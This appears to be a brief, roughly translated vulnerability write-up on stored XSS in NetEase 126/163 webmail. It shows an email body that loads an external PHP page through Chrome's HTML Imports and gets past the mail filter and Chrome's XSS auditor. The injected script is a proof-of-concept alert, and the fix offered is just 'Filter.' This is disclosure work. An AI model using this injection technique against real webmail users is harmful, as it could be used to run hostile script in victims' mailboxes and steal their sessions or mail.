126/163 email body storage type XSS

126/163 email body storage type XSS

After chrome entered the 36 age, there was another method to introduce external HTML:

<link rel=import href=http://xxx/xxx.html>

On twitter, MK used this method to bypass chrome audit: audit.

Netease mailbox shot.

First prepare an external HTML: http://mhz.pw/game/SOP/01.php

<?phpheader("Access-Control-Allow-Origin: *");?><script>alert(location.host);</script>

Set the "Access-Control-Allow-Origin: *" header to Allow cross-Origin requests.

The body of the sent email is:

<link rel="import" href="http://mhz.pw/game/SOP/01.php">

In the latest version of chrome, a visible pop-up window is opened. The location. host is 163.com.
 

Like 126.com:
 

 

Solution:

Filter.